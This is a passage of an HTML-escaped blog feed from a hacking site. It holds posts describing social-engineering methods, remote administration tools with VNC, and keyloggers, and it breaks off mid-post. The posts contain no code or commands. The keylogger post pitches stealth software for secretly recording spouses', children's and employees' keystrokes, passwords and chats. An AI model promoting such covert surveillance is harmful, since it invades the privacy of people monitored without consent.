src=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TPU2jtWI6ZI/AAAAAAAAASo/AlKj6ZJo3Qw/s320/TEst%2BBSC%2BJL%2BDLD.png&quot; style=&quot;float: left; height: 212px; margin: 0pt 0pt 10px 10px; width: 195px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small; font-weight: normal;&quot;&gt;Phishing is a technique of fraudulently obtaining private  information. Typically, the phisher sends an e-mail that appears to come  from a legitimate bank or credit card company, requesting verification of information and warning of some dire consequence  if it is not provided.&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small; font-weight: normal;&quot;&gt;The e-mail usually contains a link to a  fraudulent web page that seems legitimate with company logos and  content and has a form requesting everything from a home address  to an ATM card&#39;s PIN.&lt;/span&gt;&lt;span class=&quot;mw-headline&quot; id=&quot;Pretexting&quot; style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span class=&quot;mw-headline&quot; id=&quot;Pretexting&quot; style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;mw-headline&quot; id=&quot;Pretexting&quot; style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span class=&quot;mw-headline&quot; id=&quot;Pretexting&quot; style=&quot;font-size: small;&quot;&gt;Pretexting:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TPU4ORZjaPI/AAAAAAAAASw/pF12H8wcm9A/s1600/77cover_200px.jpg&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5545400334016538866&quot; src=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TPU4ORZjaPI/AAAAAAAAASw/pF12H8wcm9A/s400/77cover_200px.jpg&quot; style=&quot;float: left; height: 216px; margin: 0pt 0pt 10px 10px; width: 191px;&quot; /&gt;&lt;/a&gt;This technique can be used to trick a business into disclosing customer information as well as by private investigators  to obtain telephone records, utility records, banking records and other  information directly from junior company service representatives.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;A high profile case of  pretexting occurred in 2006 in which HP hired private investigators to  investigate a large leak of confidential information. The private  investigators impersonated HP board members and several journalists in  attempts to gain call records and other personal information.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;br /&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;Vishing:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;!--[if !mso]&gt; &lt;style&gt; v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} p\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} v\:textbox {display:none;} &lt;/style&gt; &lt;![endif]--&gt;&lt;!--[if !ppt]--&gt;&lt;!--[endif]--&gt;  &lt;/div&gt;&lt;div class=&quot;O&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TPU53rqiCQI/AAAAAAAAAS4/kcOfvW5ah28/s1600/Picture1.png&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5545402144953338114&quot; src=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TPU53rqiCQI/AAAAAAAAAS4/kcOfvW5ah28/s400/Picture1.png&quot; style=&quot;float: left; height: 203px; margin: 0pt 0pt 10px 10px; width: 189px;&quot; /&gt;&lt;/a&gt;Vishing&lt;b&gt; &lt;/b&gt;or&lt;b&gt; &lt;/b&gt;Phone Phishing is the criminal practice of using social engineering over the telephone  system, most often using features facilitated by Voice over IP (VoIP),  to gain access to private personal and financial information from the  public for the purpose of financial  reward.      &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;  &lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;   &lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;!--[if !mso]&gt; &lt;style&gt; v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} p\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} v\:textbox {display:none;} &lt;/style&gt; &lt;![endif]--&gt;&lt;!--[if !ppt]--&gt;&lt;!--[endif]--&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;This technique uses a rogue Interactive voice response (IVR) system to&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; recreate a legitimate-sounding copy of a bank or other institution&#39;s IVR  &lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; system.&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;Baiting:&lt;/span&gt;&lt;br /&gt;&lt;div class=&quot;O&quot;&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TPU7jlZhJkI/AAAAAAAAATA/1HJ654715jY/s1600/link-bait-med.jpg&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5545403998697236034&quot; src=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TPU7jlZhJkI/AAAAAAAAATA/1HJ654715jY/s400/link-bait-med.jpg&quot; style=&quot;float: left; height: 185px; margin: 0pt 0pt 10px 10px; width: 193px;&quot; /&gt;&lt;/a&gt;Baiting is like the real-world Trojan Horse that uses physical media and relies on the curiosity or greed of the victim.&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=9011660198155217135&quot;&gt;&lt;br /&gt;&lt;/a&gt;In this attack, the attacker leaves a malware infected floppy disk, &lt;/span&gt;&lt;span class=&quot;mw-redirect&quot; style=&quot;font-size: small;&quot;&gt;CD ROM&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;, or USB flash drive  in a location sure to be found (bathroom, elevator, sidewalk, parking  lot), gives it a legitimate looking and curiosity-piquing label, and  simply waits for the victim to use the device.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span class=&quot;mw-headline&quot; id=&quot;Notable_social_engineers&quot; style=&quot;font-size: small; font-weight: bold;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;mw-headline&quot; id=&quot;Notable_social_engineers&quot; style=&quot;font-size: small; font-weight: bold;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;mw-headline&quot; id=&quot;Notable_social_engineers&quot; style=&quot;font-size: small; font-weight: bold;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;mw-headline&quot; id=&quot;Notable_social_engineers&quot; style=&quot;font-size: small; font-weight: bold;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;mw-headline&quot; id=&quot;Notable_social_engineers&quot; style=&quot;font-size: small; font-weight: bold;&quot;&gt;&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;mw-headline&quot; id=&quot;Notable_social_engineers&quot; style=&quot;font-size: small; font-weight: bold;&quot;&gt;Notable Social Engineers:&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;mw-headline&quot; id=&quot;Notable_social_engineers&quot; style=&quot;font-size: small; font-weight: bold;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TPVCEdRLZgI/AAAAAAAAATQ/wCOxMwvdfFY/s1600/Kevin_Mitnick1.jpg&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5545411160520222210&quot; src=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TPVCEdRLZgI/AAAAAAAAATQ/wCOxMwvdfFY/s320/Kevin_Mitnick1.jpg&quot; style=&quot;float: left; height: 254px; margin: 0pt 0pt 10px 10px; width: 241px;&quot; /&gt;&lt;/a&gt;&lt;b&gt;Kevin David Mitnick&lt;/b&gt; (born August 6, 1963) is a computer security consultant and author. In the late 20th century, he was convicted of various computer- and communications-related crimes. At the time of his arrest, he was the most-wanted computer criminal in the United States.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;He popularized the term social engineering, pointing out that it is much  easier to trick someone into giving a password for a system than to  spend the effort to crack into the system.&lt;sup class=&quot;reference&quot; id=&quot;cite_ref-CSEPS-4_7-0&quot;&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=9011660198155217135&quot;&gt; &lt;/a&gt;&lt;/sup&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Films on Social Engg:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TPVDnf0N_DI/AAAAAAAAATY/LmzgKzPNpHE/s1600/2002_catch_me_if_you_can_wallpaper_002.jpg&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5545412862011112498&quot; src=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TPVDnf0N_DI/AAAAAAAAATY/LmzgKzPNpHE/s320/2002_catch_me_if_you_can_wallpaper_002.jpg&quot; style=&quot;float: left; height: 231px; margin: 0pt 0pt 10px 10px; width: 247px;&quot; /&gt;&lt;/a&gt;&lt;i&gt;&lt;b&gt;Catch Me If You Can&lt;/b&gt;&lt;/i&gt; is a 2002 American biopic-crime film based on the life of Frank Abagnale Jr., who, before his 19th birthday, successfully conned millions of dollars by posing as a Pan American World Airways pilot, a Georgia doctor and Louisiana attorney and parish prosecutor.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;His primary crime was &lt;/span&gt;&lt;span class=&quot;mw-redirect&quot; style=&quot;font-size: small;&quot;&gt;cheque forgery&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;, becoming so skillful that the FBI eventually turned to him for help in catching other cheque forgers.&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;Happy Hacking...Enjoy... &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;For educational purpose only...Do not misuse it...&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.xtrmhack.com/feeds/2738343337361677806/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.xtrmhack.com/2010/11/social-engineering.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/2738343337361677806'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/2738343337361677806'/><link rel='alternate' type='text/html' href='http://www.xtrmhack.com/2010/11/social-engineering.html' title='SOCIAL ENGINEERING'/><author><name>Rajat Das</name><uri>http://www.blogger.com/profile/15687869933369691733</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_6Y3t2XpO2oE/TPUy94lr7AI/AAAAAAAAASg/keSRWgP_tw8/s72-c/chalkboard.jpg" height="72" width="72"/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9011660198155217135.post-5052031441895342227</id><published>2010-11-27T00:45:00.000-08:00</published><updated>2010-12-11T07:28:23.274-08:00</updated><title type='text'>RAT</title><content type='html'>&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;font-size:100%;&quot; &gt;What is a RAT?&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;A &lt;b&gt;Remote Administration Tool&lt;/b&gt; (known more commonly on the Internet as a &lt;b&gt;RAT&lt;/b&gt;) is used to remotely connect and manage a single or multiple computers with a variety of tools, such as:&lt;/p&gt; &lt;ol&gt;&lt;li&gt;Screen/camera capture or control&lt;/li&gt;&lt;li&gt;File management (download/upload/execute/etc.)&lt;/li&gt;&lt;li&gt;Shell control (usually piped from command prompt)&lt;/li&gt;&lt;li&gt;Computer control (power off/on/log off)&lt;/li&gt;&lt;li&gt;Registry management (query/add/delete/modify)&lt;/li&gt;&lt;li&gt;Other product-specific function&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;It has many purposes, most importantly the power to gain access remotely to another user&#39;s PC.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TPDHI3NOrjI/AAAAAAAAAQE/LOs8KSu9KZs/s1600/rat29.jpg&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 287px; height: 181px;&quot; src=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TPDHI3NOrjI/AAAAAAAAAQE/LOs8KSu9KZs/s400/rat29.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5544150096365399602&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Virtual Network Computing:&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;/span&gt;VNC is remote control software which allows you to view and fully interact with one computer desktop (the &quot;VNC server&quot;) using a simple program (the &quot;VNC viewer&quot;) on another computer desktop anywhere on the Internet. The two computers don&#39;t even have to be the same type, so for example you can use VNC to view a Windows Vista desktop at the office on a Linux or Mac computer at home. For ultimate simplicity, there is even a Java viewer, so that any desktop can be controlled remotely from within a browser without having to install software.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TPEvqWZBP4I/AAAAAAAAAQU/iyCY6HUGpwQ/s1600/VNC_Diagram_V1_w800.jpg&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 419px; height: 135px;&quot; src=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TPEvqWZBP4I/AAAAAAAAAQU/iyCY6HUGpwQ/s400/VNC_Diagram_V1_w800.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5544265020881321858&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p&gt;A VNC system consists of a client, a server, and a communication protocol.&lt;/p&gt; &lt;ul&gt;&lt;li&gt;The VNC server is the program on the machine that shares its screen. The server passively allows the client to take control of it.&lt;/li&gt;&lt;li&gt;The VNC client (or viewer) is the program that watches, controls, and interacts with the server. The client controls the server.&lt;/li&gt;&lt;li&gt;The VNC protocol (RFB) is very simple, based on one graphic primitive from server to client (&quot;Put a rectangle of pixel data at the specified X,Y position&quot;) and event messages from client to server.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;VNC Applications:&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;VNC has a wide range of applications including system administration, IT support and helpdesks. It can also be used to support the mobile user, both for hot desking within the enterprise and also to provide remote access at home, or on the road. The system allows several connections to the same desktop, providing an invaluable tool for collaborative or shared working in the workplace or classroom. Computer support within the geographically spread family is an ever popular use.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TPEwVgYlIeI/AAAAAAAAAQc/Kna6QfkrNq0/s1600/VNC_Diagram_V2_w800.jpg&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 406px; height: 153px;&quot; src=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TPEwVgYlIeI/AAAAAAAAAQc/Kna6QfkrNq0/s400/VNC_Diagram_V2_w800.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5544265762298208738&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;For the individual user, one common scenario is using VNC to help troubleshoot the computer of a distant less-technically-savvy relative. A very common business application of VNC is in remote system administration, where it is used to allow administrators to take control of employee machines to diagnose and fix problems, or to access and administer server machines without making a trip to the console.&lt;br /&gt;&lt;br /&gt;VNC is widely used in educational contexts, for example to allow a distributed group of students simultaneously to view a computer screen being manipulated by an instructor, or to allow the instructor to take control of the students&#39; computers to provide assistance.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold; color: rgb(51, 204, 0);&quot;&gt;Download:&lt;/span&gt; Click &lt;a style=&quot;font-weight: bold;&quot; href=&quot;http://www.tightvnc.com/download.php&quot;&gt;HERE&lt;/a&gt; to download a copy of &lt;span style=&quot;font-weight: bold;&quot;&gt;TightVNC&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TPGZOFFnF6I/AAAAAAAAARE/4_QvlUby-m4/s1600/TightVNC-1-3-9_1.jpg&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 355px; height: 131px;&quot; src=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TPGZOFFnF6I/AAAAAAAAARE/4_QvlUby-m4/s400/TightVNC-1-3-9_1.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5544381083432720290&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;Happy Hacking...Enjoy... &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;color:red;&quot;&gt;For educational purpose only...Do not misuse it...&lt;/span&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.xtrmhack.com/feeds/5052031441895342227/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.xtrmhack.com/2010/11/rat.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/5052031441895342227'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/5052031441895342227'/><link rel='alternate' type='text/html' href='http://www.xtrmhack.com/2010/11/rat.html' title='RAT'/><author><name>Rajat Das</name><uri>http://www.blogger.com/profile/15687869933369691733</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_6Y3t2XpO2oE/TPDHI3NOrjI/AAAAAAAAAQE/LOs8KSu9KZs/s72-c/rat29.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9011660198155217135.post-5602603457940858379</id><published>2010-11-26T22:48:00.000-08:00</published><updated>2010-12-14T02:28:22.819-08:00</updated><title type='text'>KEY LOGGER</title><content type='html'>&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TQdFwt5bvcI/AAAAAAAAAaI/SiNDctn99qQ/s1600/KS_Windows7_Logon_small.jpg&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;What is Key Logger?&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TPC_qhuhdNI/AAAAAAAAAP8/MUe90ZbAN9s/s1600/pcdm-mod2.jpg&quot;&gt;&lt;img style=&quot;float: left; margin: 0pt 10px 10px 0pt; cursor: pointer; width: 150px; height: 200px;&quot; src=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TPC_qhuhdNI/AAAAAAAAAP8/MUe90ZbAN9s/s400/pcdm-mod2.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5544141878621992146&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;Keystroke Logger or Key Logger is an application for tracking (or logging) the keys struck on a keyboard, typically in a covert manner so that the person using the keyboard is unaware that their actions are being monitored. There are numerous keylogging methods, ranging from hardware and software-based approaches to electromagnetic and acoustic analysis.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Software-based keyloggers:&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Keylogger surveillance software has the capability to record  keystroke/captures Screen Shots and save it to a log file (usually  encrypted) for future use. Captures every key pressed on the computer  viewed by the unauthorized user. Key logger software can record instant  messages, e-mail and any information you type at any time on your  keyboard. The log file created by the key logger can then be saved to a  specific location or mailed to the concerned person. The software will  also record any e-mail address you use and Website URLs visited by you.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TPGa3CYQqLI/AAAAAAAAARM/q4HCvQ2SlCY/s1600/revealer_free_edition.png&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 398px; height: 257px;&quot; src=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TPGa3CYQqLI/AAAAAAAAARM/q4HCvQ2SlCY/s400/revealer_free_edition.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5544382886591899826&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Why you need Key Logger?&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Have you ever questioned what your spouse, kids or employees have been doing on the computer? Is your child misusing the internet facility and taking secret chat with the stranger? Are your employees mailing your business data to your competitors? If you wonder how to tackle these serious issues, you need our key logger software.&lt;br /&gt;&lt;br /&gt;The key logger product allows you to secretly monitor and record user&#39;s activities and captures Screen shots on the computer PCs. With this software, you will be able to see exactly what people have been doing online and offline, including e-mails, websites visited, applications executed, and keystrokes including username-password, online conversations (G-mail, MSN, Hotmail, Yahoo Messenger etc.) and other similar activities. This tool can run in a stealth mode and is password protected, so no one except you is aware of their existence and the password safeguards other people from uninstalling it.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Key Logger features:&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;1. &lt;span style=&quot;font-weight: bold;&quot;&gt;Key Stroke Recording:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Record all typed keystrokes by the users on computer!&lt;br /&gt;&lt;br /&gt;2. &lt;span style=&quot;font-weight: bold;&quot;&gt;Hidden Installation:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Users can not detect about the key logger installation on the computer!&lt;br /&gt;&lt;br /&gt;3. &lt;span style=&quot;font-weight: bold;&quot;&gt;Stealth Mode:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Key Logger will not appear on the Desktop, Add/Remove Programs, Control panel and even hidden in installation path folders.&lt;br /&gt;&lt;br /&gt;4. &lt;span style=&quot;font-weight: bold;&quot;&gt;Screen-Shot Monitoring:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Facilitate to capture entire screen snap-shots periodically so that you can see what was being displayed on computer screen in your absence when other user was working on your machine.&lt;br /&gt;&lt;br /&gt;5. &lt;span style=&quot;font-weight: bold;&quot;&gt;Email Log and FTP settings:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Allows receiving log files through email feature or can upload logs via FTP server settings even if you are thousand miles away.&lt;br /&gt;&lt;br /&gt;6. &lt;span style=&quot;font-weight: bold;&quot;&gt;Password Protected:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The keylogger software is password protected and prevents the unauthorized users to change its configuration setting.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Hardware-based keyloggers:&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Hardware-based keyloggers do not depend upon any software being installed as they exist at a hardware level in a computer system.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TPGctgyhvNI/AAAAAAAAARU/BK5CUjoWiFE/s1600/Untitled.jpg&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 390px; height: 190px;&quot; src=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TPGctgyhvNI/AAAAAAAAARU/BK5CUjoWiFE/s400/Untitled.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5544384921979698386&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;Hardware keyloggers are used for keystroke logging by means of a hardware circuit that is attached somewhere in between the computer keyboard and the computer, typically inline with the keyboard&#39;s cable connector.&lt;br /&gt;&lt;br /&gt;A hardware keylogger has an 